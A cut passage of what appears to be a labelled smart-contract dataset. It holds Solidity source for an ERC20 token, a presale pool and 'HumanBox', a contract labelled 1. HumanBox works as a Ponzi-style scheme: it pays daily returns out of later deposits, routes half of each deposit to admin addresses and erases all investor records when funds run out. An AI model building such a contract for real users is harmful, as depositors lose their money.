function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] _tokens) public onlyOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
ERC20Basic token = ERC20Basic(_tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract IndividualLockableToken is PausableToken{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balances[_holder] >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balances[_holder];
return balances[_holder].sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowed[msg.sender][_spender].add(_addedValue));
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Bitcaritas is IndividualLockableToken, TokenDestructible {
using SafeMath for uint256;
string public constant name = "Bit caritas";
string public constant symbol = "BCT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 8800000000 * (10 ** uint256(decimals));
constructor()
public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
} | 0 | 518 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract HumanBox is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 500e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_5_percent = Percent.percent(1,100);
Percent.percent private m_6_percent = Percent.percent(12,1000);
Percent.percent private m_7_percent = Percent.percent(13,1000);
Percent.percent private m_8_percent = Percent.percent(15,1000);
Percent.percent private m_9_percent = Percent.percent(2,100);
Percent.percent private m_10_percent = Percent.percent(23,1000);
Percent.percent private m_11_percent = Percent.percent(25,1000);
Percent.percent private m_12_percent = Percent.percent(3,100);
Percent.percent private m_referal_percent = Percent.percent(2,100);
Percent.percent private m_referrer_percent = Percent.percent(3,100);
Percent.percent private m_referrer_percentMax = Percent.percent(6,100);
Percent.percent private m_adminsPercent = Percent.percent(15,100);
Percent.percent private m_advertisingPercent = Percent.percent(35,100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 5 ether) {
p = m_5_percent.toMemory();
} else if ( 5 ether <= balance && balance <= 10 ether) {
p = m_6_percent.toMemory();
} else if ( 10 ether <= balance && balance <= 30 ether) {
p = m_7_percent.toMemory();
} else if ( 30 ether <= balance && balance <= 50 ether) {
p = m_8_percent.toMemory();
} else if ( 50 ether <= balance && balance <= 100 ether) {
p = m_9_percent.toMemory();
} else if ( 100 ether <= balance && balance <= 300 ether) {
p = m_10_percent.toMemory();
} else if ( 300 ether <= balance && balance <= 500 ether) {
p = m_11_percent.toMemory();
} else {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 1 | 2,390 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public addressChangeBlock;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, address token, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAddr,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
